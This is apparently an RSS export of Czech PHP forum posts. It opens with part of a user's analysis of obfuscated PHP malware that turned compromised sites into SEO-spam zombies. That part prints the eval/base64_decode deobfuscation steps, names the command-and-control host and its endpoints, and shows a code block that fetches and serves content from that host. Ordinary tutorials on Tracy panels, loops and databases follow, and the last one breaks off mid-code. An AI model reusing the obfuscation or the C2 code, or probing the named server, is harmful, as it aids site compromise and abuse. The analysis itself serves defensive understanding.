echo $O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln"> </span><span class="com">//r</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">};</span><span class="pln"> </span><span class="com">//t</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln"> </span><span class="com">//r</span><span class="pln">
echo $O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">};</span><span class="pln"> </span><span class="com">//s</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">18</span><span class="pun">};</span><span class="pln"> </span><span class="com">//u</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">};</span><span class="pln"> </span><span class="com">//b</span><span class="pln">
echo $O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">};</span><span class="pln"> </span><span class="com">//s</span><span class="pln">
echo $O0OO00</span><span class="pun">{</span><span class="lit">1</span><span class="pun">};</span><span class="pln"> </span><span class="com">//t</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln"> </span><span class="com">//r</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">7</span><span class="pun">};</span><span class="pln"> </span><span class="com">//5</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">13</span><span class="pun">};</span><span class="pln"> </span><span class="com">//2</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">22</span><span class="pun">};</span><span class="pln"> </span><span class="com">//6</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">36</span><span class="pun">};</span><span class="pln"> </span><span class="com">//4</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">29</span><span class="pun">};</span><span class="pln"> </span><span class="com">//_</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">};</span><span class="pln"> </span><span class="com">//d</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln"> </span><span class="com">//e</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">32</span><span class="pun">};</span><span class="pln"> </span><span class="com">//c</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">35</span><span class="pun">};</span><span class="pln"> </span><span class="com">//o</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">};</span><span class="pln"> </span><span class="com">//d</span><span class="pln">
echo $O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln"> </span><span class="com">//e</span></pre>

<p>
	Rozbalovač tedy složí názvy PHP funkcí z náhodně vypadajícího textu a poté je spustí pomocí funkce "eval" (která převede string na PHP kód a spustí ho)
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_23" style="">
<span class="pln">$O00O0O</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">6</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln"> </span><span class="com">//base</span><span class="pln">
$O0OO00</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">33</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">10</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln"> </span><span class="com">//strtr</span><span class="pln">
$OO0O00</span><span class="pun">=</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">18</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">3</span><span class="pun">}.</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">0</span><span class="pun">}.</span><span class="pln">$O0OO00</span><span class="pun">{</span><span class="lit">1</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">24</span><span class="pun">};</span><span class="pln"> </span><span class="com">//substr</span><span class="pln">
$OO0000</span><span class="pun">=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">7</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">13</span><span class="pun">};</span><span class="pln"> </span><span class="com">//52</span><span class="pln">
$O00O0O</span><span class="pun">.=</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">22</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">36</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">29</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">32</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">35</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">26</span><span class="pun">}.</span><span class="pln">$O00OO0</span><span class="pun">{</span><span class="lit">30</span><span class="pun">};</span><span class="pln"> </span><span class="com">//64_decode</span></pre>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_25" style="">
<span class="kwd">eval</span><span class="pun">(</span><span class="pln">$O00O0O</span><span class="pun">..</span><span class="pln"> tedy ve skute</span><span class="pun">č</span><span class="pln">nosti znamen</span><span class="pun">á</span><span class="pln"> </span><span class="kwd">eval</span><span class="pun">(</span><span class="pln">base64_decode</span><span class="pun">...</span></pre>

<p>
	Je nutno podotknout, že eval neselže, protože stupidní PHP opravdu, když potká $O00O0O, ho převede na base64_decode, protože to je přece hodnota této proměnné a PHPčku nevadí pokud typ proměnné je string a je využita jako volací funkce.
</p>

<p>
	Náš druhý base64 enkrypt se tedy přeloží ještě před spuštěním jeho evalu a poté je opravdu spuštěn evalem. Zde začíná payload fáze viru, ve které si jednak připraví půdičku pro práci a také vykoná veškeré nekalosti, kterými byl obdařen. Nestudoval jsem vir dopodrobna, spíš jsem ho obecně prohlédl abych zhruba zjistil co je jeho záměrem. Dle mého názoru má vir z webovky udělat zombie a přesměrovat její traffic na spoustu crapwebů + vytvořit nový sitemap, nasměrovat na něj roboty a zkurvit tím i SEO - protože roboti začnou lozit na crapweby a spojovat je s naším webem. Zahlédl jsem i nějaké pingy na google a random webovku v Indii, nejspíš kontrolní před kontaktem s domácím serverem, který odpovídá nesmysluplně na dotazy jen pokud dostane v $_GET požadavku zz=true (debilita). Vir je psaný v takové té indické angličtině (chybějící písmenka, zvláštní gramatika, však to znáte), pinguje a dotazuje indické weby - něco mi říká, že to bude práce Indie. Všiml jsem si i náznaku jakéhosi ovládání přes GET parametry + nějaké návratové hodnoty v response domácího serveru..
</p>

<p>
	Hlavní mamina tohoto skriptu je adresa:
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_27" style="">
<span class="pln">$goweb </span><span class="pun">=</span><span class="pln"> </span><span class="str">'dthirty-eight2.sigfoxfoundationg.shop'</span><span class="pun">;</span></pre>

<p>
	dále pinguje na:
</p>

<pre class="ipsCode prettyprint lang-html prettyprinted" id="ips_uid_717_29" style="">
<span class="pln">$data_new = 'https://www.google.com/ping?sitemap='.'https://'.$host.'/'.$add_content;</span></pre>

<p>
	a hned u toho v komentáři lze najít "<a href="http://www.gudangsehat.com/mapindex.xml%22" ipsnoembed="true" rel="external nofollow">http://www.gudangsehat.com/mapindex.xml"</a>
</p>

<p>
	Mamina funguje na několika PHP souborech:
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_37" style="">
<span class="str">'dthirty-eight2.sigfoxfoundationg.shop/a.php'</span><span class="pln">
</span><span class="str">'dthirty-eight2.sigfoxfoundationg.shop/sitemapdtn.php?date='</span><span class="pun">.</span><span class="pln">$id</span><span class="pun">.</span><span class="str">'&amp;temp='</span><span class="pun">.</span><span class="pln">$temp</span><span class="pun">.</span><span class="str">'&amp;web='</span><span class="pun">.</span><span class="pln">$host</span><span class="pun">.</span><span class="str">'&amp;xml='</span><span class="pun">.</span><span class="pln">$dt</span><span class="pun">.</span><span class="str">'&amp;maptype='</span><span class="pun">.</span><span class="pln">$maptype</span><span class="pun">.</span><span class="str">'&amp;filetype='</span><span class="pun">.</span><span class="pln">$filetype</span><span class="pun">.</span><span class="str">'&amp;map_splits_num='</span><span class="pun">.</span><span class="pln">$map_splits_num</span><span class="pun">.</span><span class="str">'&amp;map_num='</span><span class="pun">.</span><span class="pln">$map_num</span><span class="pun">.</span><span class="str">'&amp;dataNew='</span><span class="pun">.</span><span class="pln">$dataNew
</span><span class="str">'dthirty-eight2.sigfoxfoundationg.shop/index.php?url='</span><span class="pun">.</span><span class="pln">$site</span><span class="pun">.</span><span class="str">'&amp;id='</span><span class="pun">.</span><span class="pln">$id</span><span class="pun">.</span><span class="str">'&amp;temp='</span><span class="pun">.</span><span class="pln">$temp</span><span class="pun">.</span><span class="str">'&amp;dt='</span><span class="pun">.</span><span class="pln">$dt</span><span class="pun">.</span><span class="str">'&amp;web='</span><span class="pun">.</span><span class="pln">$host</span><span class="pun">.</span><span class="str">'&amp;zz='</span><span class="pun">.</span><span class="pln">smisbot</span><span class="pun">().</span><span class="str">'&amp;jdir='</span><span class="pun">.</span><span class="pln">$jdir</span><span class="pun">.</span><span class="str">'&amp;clock='</span><span class="pun">.</span><span class="pln">$clock</span><span class="pun">.</span><span class="str">'&amp;uri='</span><span class="pun">.</span><span class="pln">$smuri</span><span class="pun">.</span><span class="str">'&amp;lang='</span><span class="pun">.</span><span class="pln">$lang</span><span class="pun">.</span><span class="str">'&amp;os='</span><span class="pun">.</span><span class="pln">$os</span><span class="pun">.</span><span class="str">'&amp;urlshang='</span><span class="pun">.</span><span class="pln">$urlshang</span><span class="pun">.</span><span class="str">'&amp;http_clock='</span><span class="pun">.</span><span class="pln">$http_clock
</span><span class="str">'dthirty-eight2.sigfoxfoundationg.shop/sitemap.php?date='</span><span class="pun">.</span><span class="pln">$id</span><span class="pun">.</span><span class="str">'&amp;temp='</span><span class="pun">.</span><span class="pln">$temp</span><span class="pun">.</span><span class="str">'&amp;web='</span><span class="pun">.</span><span class="pln">$host</span><span class="pun">.</span><span class="str">'&amp;xml='</span><span class="pun">.</span><span class="pln">$dt</span><span class="pun">.</span><span class="str">'&amp;maptype='</span><span class="pun">.</span><span class="pln">$maptype</span><span class="pun">.</span><span class="str">'&amp;filetype='</span><span class="pun">.</span><span class="pln">$filetype</span><span class="pun">.</span><span class="str">'&amp;map_splits_num='</span><span class="pun">.</span><span class="pln">$map_splits_num</span><span class="pun">.</span><span class="str">'&amp;map_num='</span><span class="pun">.</span><span class="pln">$map_num</span><span class="pun">.</span><span class="str">'&amp;dataNew='</span><span class="pun">.</span><span class="pln">$dataNew</span><span class="pun">.</span><span class="str">'&amp;uri='</span><span class="pun">.</span><span class="pln">$smuri</span><span class="pun">.</span><span class="str">'&amp;http='</span><span class="pun">.</span><span class="pln">$http</span></pre>

<p>
	A podle jednoho testu s random hodnotami, mamina nemá žádné extra kontroly vstupu.
</p>

<p>
	a.php mi vrací jen nějakou blbost - nejspíš nějakým způsobem využitá pro kontrolu čehosi. Zdá se to jako md5 nějakého nesmyslu - možná zasaltěná IP adresa.<br>
	sitemapdtn.php vrátila obsah do sitemap xml - seznam crapwebů, které má zombie dotovat.<br>
	index.php vrací jen super promyšlené hlášky jako "nobotuseragent", "okhtmlgetcontent", "getcontent500page", "getcontent404page" (vycucáno ze skriptu)
</p>

<pre class="ipsCode prettyprint lang-php prettyprinted" id="ips_uid_717_39" style="">
<span class="kwd">if</span><span class="pun">(</span><span class="pln">stristr</span><span class="pun">(</span><span class="pln">$smuri_tmp</span><span class="pun">,</span><span class="str">'.css'</span><span class="pun">)){</span><span class="pln">
    $web </span><span class="pun">=</span><span class="pln"> $http_web</span><span class="pun">.</span><span class="str">'://'</span><span class="pun">.</span><span class="pln">$goweb</span><span class="pun">.</span><span class="str">'/index.php?url='</span><span class="pun">.</span><span class="pln">$site</span><span class="pun">.</span><span class="str">'&amp;id='</span><span class="pun">.</span><span class="pln">$id</span><span class="pun">.</span><span class="str">'&amp;temp='</span><span class="pun">.</span><span class="pln">$temp</span><span class="pun">.</span><span class="str">'&amp;dt='</span><span class="pun">.</span><span class="pln">$dt</span><span class="pun">.</span><span class="str">'&amp;web='</span><span class="pun">.</span><span class="pln">$host</span><span class="pun">.</span><span class="str">'&amp;zz='</span><span class="pun">.</span><span class="pln">smisbot</span><span class="pun">().</span><span class="str">'&amp;jdir='</span><span class="pun">.</span><span class="pln">$jdir</span><span class="pun">.</span><span class="str">'&amp;clock='</span><span class="pun">.</span><span class="pln">$clock</span><span class="pun">.</span><span class="str">'&amp;uri='</span><span class="pun">.</span><span class="pln">$smuri</span><span class="pun">.</span><span class="str">'&amp;lang='</span><span class="pun">.</span><span class="pln">$lang</span><span class="pun">.</span><span class="str">'&amp;os='</span><span class="pun">.</span><span class="pln">$os</span><span class="pun">.</span><span class="str">'&amp;urlshang='</span><span class="pun">.</span><span class="pln">$urlshang</span><span class="pun">.</span><span class="str">'&amp;http_clock='</span><span class="pun">.</span><span class="pln">$http_clock</span><span class="pun">;</span><span class="pln">
    $html_content </span><span class="pun">=</span><span class="pln"> trim</span><span class="pun">(</span><span class="pln">smoutdo</span><span class="pun">(</span><span class="pln">$web</span><span class="pun">));</span><span class="pln">
    </span><span class="kwd">if</span><span class="pun">(!</span><span class="pln">strstr</span><span class="pun">(</span><span class="pln">$html_content</span><span class="pun">,</span><span class="str">'nobotuseragent'</span><span class="pun">)){</span><span class="pln">
        </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strstr</span><span class="pun">(</span><span class="pln">$html_content</span><span class="pun">,</span><span class="str">'okhtmlgetcontent'</span><span class="pun">)){</span><span class="pln">
            </span><span class="lit">@header</span><span class="pun">(</span><span class="str">"Content-type: text/css; charset=utf-8"</span><span class="pun">);</span><span class="pln">
            $html_content </span><span class="pun">=</span><span class="pln"> str_replace</span><span class="pun">(</span><span class="str">"okhtmlgetcontent"</span><span class="pun">,</span><span class="str">''</span><span class="pun">,</span><span class="pln">$html_content</span><span class="pun">);</span><span class="pln">
            echo $html_content</span><span class="pun">;</span><span class="pln">
            </span><span class="kwd">exit</span><span class="pun">();</span><span class="pln">
        </span><span class="pun">}</span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strstr</span><span class="pun">(</span><span class="pln">$html_content</span><span class="pun">,</span><span class="str">'getcontent500page'</span><span class="pun">)){</span><span class="pln">
            </span><span class="lit">@header</span><span class="pun">(</span><span class="str">'HTTP/1.1 500 Internal Server Error'</span><span class="pun">);</span><span class="pln">
            </span><span class="kwd">exit</span><span class="pun">();</span><span class="pln">
        </span><span class="pun">}</span><span class="kwd">else</span><span class="pln"> </span><span class="kwd">if</span><span class="pun">(</span><span class="pln">strstr</span><span class="pun">(</span><span class="pln">$html_content</span><span class="pun">,</span><span class="str">'getcontent404page'</span><span class="pun">)){</span><span class="pln">
            </span><span class="lit">@header</span><span class="pun">(</span><span class="str">'HTTP/1.1 404 Not Found'</span><span class="pun">);</span><span class="pln">
            </span><span class="kwd">exit</span><span class="pun">();</span><span class="pln">
        </span><span class="pun">}</span><span class="pln">
    </span><span class="pun">}</span><span class="pln">
</span><span class="pun">}</span></pre>

<p>
	S posledním sitemap.php už jsem se ani neobtěžoval srát.
</p>

<p>
	Pokud chcete, feel free a pohrajte si s čmoudama jak chcete. Pochybuji, že napácháte nějaké bolestivé škody - tihle blbci se možná vysrali na ochranu jejich díla, ale vůbec je nebude bolet, když se jim do toho někdo proláme. Prostě ráno přijdou do roboty, kopnou do mašiny, crawler začne prolízávat webovky a když se podaří nějakou prolomit, tak je to pro ně stejně jak prd do větru. Těch webovek jsou tisícovky, virus tam běží max. pár dní (pro mrtvoly - neobsluhované mrtvé weby - indefinitely) naprdí nějakej traffic do poolu a vyhasne, jede se dál.
</p>
]]></description><guid isPermaLink="false">55848</guid><pubDate>Wed, 14 Oct 2020 00:36:00 +0000</pubDate></item><item><title>PHP - TRACY - Vlastn&#xED; panel</title><link>https://pawno.cz/index.php?/topic/54368-php-tracy-vlastn%C3%AD-panel/</link><description><![CDATA[
<p>Zdravím, rád bych vám dnes ukázal jak si jednoduše vytvořit vlastní panel do Tracy. Ti z Vás kdož používají Nette se s Tracy znáte, pro vás ostatní je to skvělá utilita o které si popovídáme jindy <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="1" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"></p>
<p> </p>
<p> </p>
<p>Základem je mít nainstalovanou Tracy , pokud pracujete v Nette tak tracy máte nainstalovanou automaticky. </p>
<p> </p>
<p>Já osobně své vlastní panely mám uchované přímo vedle Tracy tzn , že ve složce knihovny jsem si vytvořil složku<strong><em> tracy_modules </em></strong>do které dávám jednotlivé soubory k jednotlivým panelů. </p>
<p> </p>
<p>Začneme tím , že si tedy vytvoříme soubor pro náš panel s nádledujícím obsahem</p>
<pre class="ipsCode prettyprint linenums:1">
&lt;?php
use Tracy\IBarPanel;

class &lt;jmeno_naseho_panelu&gt; implements IBarPanel
{
      function getTab()
      {

      }

      function getPanel()
      {

      }
}
</pre>
<p>Nyní si rozebereme ty dvě funkce..</p>
<p> </p>
<p>Funkce getTab vrací vlastně obsah který se bude zobrazovat na Tracy. A funkce getPanel vrací obsah pro popup který se otevře při najetí na getTab.</p>
<p> </p>
<p>Pro účely tutoriálu náš panel bude mít ikonku php a v popupu bude titulek PHP a pod ním vypsána verze PHP.</p>
<p> </p>
<p>Najdeme si ikonku nejlépe 24x24 pixelů a vytvoříme si tedy tab</p>
<pre class="ipsCode prettyprint linenums:1">
function getTab()
{
     return "&lt;span title='&lt;tooltip_titulek&gt;'&gt;&lt;img src='&lt;url_ikonky&gt;'&gt;&lt;volitelny_titulek_vedle_ikonky&gt;&lt;/span&gt;";
}
</pre>
<p>Případně nemusíme používat ikonku tudíž vynecháme celý tag <img alt="" src="">. </p>
<p> </p>
<p>No a nyní tedy chceme na hover vidět verzi php kterou disponujeme</p>
<pre class="ipsCode prettyprint linenums:1">
function getPanel()
{
     $title = "&lt;h1&gt;PHP&lt;/h1&gt;"; 
     $header = "&lt;div class='tracy-inner'&gt;&lt;table&gt;&lt;tbody&gt;";
     $content = "&lt;tr&gt;&lt;td&gt;Verze PHP&lt;/td&gt;&lt;td&gt;".phpversion()."&lt;/td&gt;&lt;/tr&gt;";
     $footer = "&lt;/tbody&gt;&lt;/table&gt;";
     return $title.$header.$content.$footer;
}
</pre>
<p>Requirneme soubor s naším panelem. A panel přidáme do tracy v mém případě se panel jmenuje <strong>PHPPanel</strong></p>
<pre class="ipsCode prettyprint lang- linenums:1">
Tracy\Debugger::getBar()-&gt;addPanel( new PHPPanel() );
</pre>
<p>A můj panel nyní vypadá takto</p>
<p> </p>
<p><a class="ipsAttachLink ipsAttachLink_image" href="https://pawno.cz/uploads/monthly_05_2017/post-16857-0-17082600-1494574383.png" data-fileid="706" rel=""><img src="https://pawno.cz/uploads/monthly_05_2017/post-16857-0-17082600-1494574383_thumb.png" data-fileid="706" class="ipsImage ipsImage_thumbnailed" alt="panel.png"></a></p>
<p> </p>
<p> </p>
<p>A to je vše. Nyní je kompletně na Vás co bude Váš panel umět a co bude zobrazovat <img src="https://pawno.cz/uploads/emoticons/default_icon_e_smile.gif" alt=":)" data-emoticon="1" srcset="https://pawno.cz/uploads/emoticons/smile@2x.png 2x" width="20" height="24"></p>
]]></description><guid isPermaLink="false">54368</guid><pubDate>Fri, 12 May 2017 07:33:35 +0000</pubDate></item><item><title>PHP II. Cykly</title><link>https://pawno.cz/index.php?/topic/54215-php-ii-cykly/</link><description><![CDATA[
<p><span style="font-size:18px;"><u><strong>Obsah:</strong></u></span></p>
<ul class="bbc bbcol decimal">
<li>Cykly v rychlosti</li>
<li>for</li>
<li>foreach</li>
<li>while</li>
</ul>
<p><strong>1. Cykly v rychlosti</strong></p>
<br><blockquote data-ipsquote="" class="ipsQuote" data-ipsquote-username="tvorba-webu.cz" data-cite="tvorba-webu.cz"><div><p>Cykly se používají chceme-li opakovat určitou činnost, několikráte za sebou, opakovaně provádět stejnou proceduru. Postupně ověřovat data, nebo generovat informace.</p></div></blockquote>
<p> </p>
<p>Já se budu zabývat jen třemi cykly které jsou zmíněny v obsahu. Podle mě je zbytečné zabývat se ostatními protože více-méně vycházejí z těchto základních ( především tedy z while )</p>
<p> </p>
<p><strong>2. Cyklus for</strong></p>
<p>Cyklus  for se hodí k procházení dat a opakování určité činnosti.</p>
<p>Syntaxe cyklu je</p>
<pre class="ipsCode prettyprint linenums:1">
for( [index] ; [podmínka] ; [akce] )
</pre>
<p>V zásadě jsou dva druhy cyklu for a to inkrementační a dekrementační. Samozřejmě lze použít i násobení, dělení či jinou matematickou činnost</p>
<pre class="ipsCode prettyprint lang-">
$array = [ array(1,"Pes"),array(2,"Kočka"),array(3,"Křeček") ];


echo "&lt;select&gt;";
for( $i = 0; $i &lt; sizeof( $array );$i++ )
{
    echo "&lt;option value='".$array[$i][0]."'&gt;".$array[$i][1]."&lt;/option&gt;";
}
echo "&lt;/select&gt;";</pre>
<p>Důležité je vědět , že for mění hodnotu  indexu až jako poslední úkon. Tzn.</p>
<pre class="ipsCode prettyprint linenums:1">
$array = [ array(1,"Pes"),array(2,"Kočka"),array(3,"Křeček") ];


echo "&lt;select&gt;";
for( $i = 0; $i &lt; sizeof( $array );$i++ )
{
    //0
    echo "&lt;option value='".$array[$i][0]."'&gt;".$array[$i][1]."&lt;/option&gt;";
    // až tady se provede inkrementace
}
echo "&lt;/select&gt;";</pre>
<p>Osobně for používám málokdy. Většinou máte výstupy uložené asociačně a pro ty se hodí třeba právě foreach</p>
<p> </p>
<p><strong>3. Cyklus Foreach</strong></p>
<p>Foreach je zajímavější protože sním můžete krásně procházet associované pole</p>
<p>Základní syntaxe</p>
<pre class="ipsCode prettyprint lang-">
foreach( naplnene_pole as polozka )
//nebo
foreach( naplnene_pole as klic =&gt; polozka )

</pre>
<p>Rozdíl mezi těmito dvěma způsoby zápisu je jen v tom , že do promene klic se uloží asociace na indexu.</p>
<p>Menší příklad</p>
<pre class="ipsCode prettyprint lang-">
$array = [ "Pes"=&gt;1,"Kocka"=&gt;2,"Krecek"=&gt;3 ];

foreach( $array as $zvire )
{
   echo $zvire.",";
}
// Výstupem bude : 1,2,3
foreach( $array as $zvire =&gt; $hodnota )
{
   echo $zvire." ma hodnotu ".$hodnota.",";
}
// Výstupem bude : Pes ma hodnotu 1,Kocka ma hodnotu 2,Krecek ma hodnotu 3,
</pre>
<p><strong>4. Cyklus while</strong></p>
<p>Cyklus while já osobně moc nepoužívám v podstatě jen k načtení výsledu z mysqli query ( dozvíme se příště )</p>
<p>Syntaxe cyklu</p>
<pre class="ipsCode prettyprint linenums:1">
while( podminka )
</pre>
<p>Doslovně syntaxe znamená "dokud platí podmínka"</p>
<p>Příklad použití</p>
<pre class="ipsCode prettyprint linenums:1">
/*
Predpokladejme ze máme připojenou databázi s tabulkou users a sloupcem username který obsahuje jméno uzivatele
*/
$result = $mysqli-&gt;query("SELECT * FROM users");

while( $row = $result-&gt;fetch_assoc() )
{
     echo $row["username"]; 
}
</pre>
<p>Hodnota promenne $row je true pokud je do ni ulozeno pole s výstupem databáze.  Tzn dokud je co číst tak cyklus vypisuje. Jakmile už není co číst tak není ani co psát <img src="https://pawno.cz//public/style_emoticons/default/icon_e_smile.gif" title=":)" alt="icon_e_smile.gif"></p>
<p> </p>
<p>Cyklus while má "derivát" do-while. Klasický while provede akci uzavřenou v bloku pokud podmínka platí. Tzn , že podmínka se kontroluje první a až poté je případně vykonána akce.</p>
<p>U cyklu do-while se akce vykoná a až poté je kontrolována podmínka.</p>
<p>Jen v rychlosti syntaxe do-while vypadá následovně</p>
<pre class="ipsCode prettyprint linenums:1">
$i = 0;
do
{
  $i++;
echo $i;
}
while( $i&lt;=25);
// nejvyžší vypsaná hodnota bude 26
</pre>
<p>Osobně s do-while nemám moc zkušeností a ani si nepamatuji jestli jsem ho někdy použil..</p>
<p> </p>
<p> </p>
<p> </p>
<p><span style="color:rgb(0,0,0);font-family:tahoma, helvetica, arial, sans-serif;font-size:12px;background-color:rgb(253,253,253);">Pokud nezapomenu tak bude následovat další díl. Pro tento je to momentálně všechno.</span></p>
]]></description><guid isPermaLink="false">54215</guid><pubDate>Wed, 15 Mar 2017 13:19:36 +0000</pubDate></item><item><title>PHP III. Datab&#xE1;ze</title><link>https://pawno.cz/index.php?/topic/54219-php-iii-datab%C3%A1ze/</link><description><![CDATA[
<p><u><strong><span style="font-size:18px;">Obsah:</span></strong></u></p>
<ol>
<li>MariaDB</li>	<li>MySQLi</li>	<li>PDO</li>	<li>Dibi</li>
</ol>
<p> </p>
<p> </p>
<p> </p>
<p><strong>1. MariaDB</strong></p>
<p>MariaDB je fork klasického MySQL s vylepšeními ohledně výkonu. Pokud si můžete vybrat MariaDB by měla být jasná volba. Nejedno vývojové prostředí ( XAMMP nebo WAMP ) Vám dovolí si jednoduše vybrat mezi MySQL a MariaDB. </p>
<p> </p>
<p><strong>2. MySQLi</strong></p>
<p>MySQLi je náhrada za mysql co se týče PHP. Jelikož od verze 5.5 jsou funkce s prefixem mysql_ označené jako depreceated a od verze 7.0 jsou dokonce ostraněné. S MySQLi se dá pracovat buď procedurálně nebo objektovně. </p>
<p> </p>
<p>Připojení k DB ( procedurální ):</p>
<pre class="ipsCode prettyprint linenums:1">
$connection = mysqli_connect( "127.0.0.1","root","pwd", "konkretni_db" );
</pre>
<p>Připojení k DB ( objektové ):</p>
<pre class="ipsCode prettyprint linenums:1">
$mysqli = new mysqli( "127.0.0.1","root","pwd","konkretni-db");
</pre>
<p>Určitě si myslíte , že v tom momentálně není moc rozdíl. To přijde. V procedurálních funkcí je nutné doplňovat proměnnou $connection například</p>
<pre class="ipsCode prettyprint linenums:1">
$result = mysqli_query( $connection , "SELECT * FROM users" );
</pre>
<p>naproti tomu u objektového přístupu</p>
<pre class="ipsCode prettyprint lang-">
$result = $mysqli-&gt;query("SELECT * FROM users");
</pre>
<p>Prakticky to znamená , že do $mysqli je uložený objekt mysqli který obsahuje všechny potřebné informace vč. instance připojení</p>
<p> </p>
<p>Načítání výsledků z db je v obou případěch relativně stejné</p>
<pre class="ipsCode prettyprint lang-">
// procedurální
while( $row = mysqli_fetch_assoc( $result ) )
{
   echo $row["user_name"];
}

// objektové
while( $row = $result-&gt;fetch_assoc() )
{
   echo $row["user_name"];
} 
</pre>
<p>Mě osobně přijde objektové využívání přehlednější než to procedurální. Ale v případě že budete při připojení používat mysqli tak je to jen na Vás.</p>
<p> </p>
<p><strong>3. PDO</strong></p>
<p>Já osobně PDO moc nefandím. Tak nějak mi nevyhovuje způsob zápisu a celý koncept. Ano chápu , že PDO je nové možná rychlejší , bezpečnější a propracovanější a nabízí několik nových možností jako například před-připravování queryn atd. </p>
<p>Připojení k db pomocí PDO</p>
<pre class="ipsCode prettyprint linenums:1">
$pdo new PDO("mysql:host=127.0.0.1;dbname=konkretni_db;","root","pwd");
</pre>
<p>Vytvoření dotazu pomocí prepare:</p>
<pre class="ipsCode prettyprint lang-">
$statement = $pdo-&gt;prepare("SELECT * users WHERE user_name = ?");
$statement-&gt;execute(["Ewwe"]);
$result = $statement-&gt;fetchAll();
</pre>
<p>Osobně se moc nechci pouštět do PDO jelikož mu tolik nerozumím. Raději nechám PDO na někoho povolanějšího.</p>
<p> </p>
<p><strong>4. Dibi</strong></p>
<p>Kde jsem ale naprosto jako doma je Dibi. Je to databázový layer vytvořený panem Davidem Grudlem , který stojí za jedním z nejpopulárnějších frameworků ( Nette ). Dibi bylo psáno za účelem ušetřit a ulehčit práci programátorům. Dibi přináší několik "featur" , které jsou podle mého názoru užasné a dnes bych si nedokázal představit pracovat s db bez Dibi. Dibi chci věnovat samostatný díl ( dnes , zítra ) protože ja tak natolik obsáhlé , že by se těžko slučovalo stímto návodem.</p>
<p> </p>
<p>To by bylo pro tento návod vše a v dalším se budu věnovat tady právě Dibi a Tracy </p>
]]></description><guid isPermaLink="false">54219</guid><pubDate>Fri, 17 Mar 2017 07:56:00 +0000</pubDate></item><item><title>PHP Mini - Star Operator</title><link>https://pawno.cz/index.php?/topic/54236-php-mini-star-operator/</link><description><![CDATA[
<p>Dneska jsem se dočetl o novém operátoru , který nejspíše přidají v PHP 7.2 nebo v PHP 8. </p>
<p> </p>
<p>Je to operátor hvězdička hlavní využití podle vývojářů je to , že umožní aby časté operace pro escapování byli jednodužší. </p>
<p> </p>
<p>Syntaxe nového operátoru</p>
<pre class="ipsCode prettyprint linenums:1">
&lt;?* $str ?&gt;
&lt;?* $str, 'html' ?&gt;
&lt;?* $str, $context ?&gt;
</pre>
<p>A jedná se o zkrácení následujícího kódu</p>
<pre class="ipsCode prettyprint lang-">
$thing['name'] = "dsfwčgevěv";

// Aktuálně 
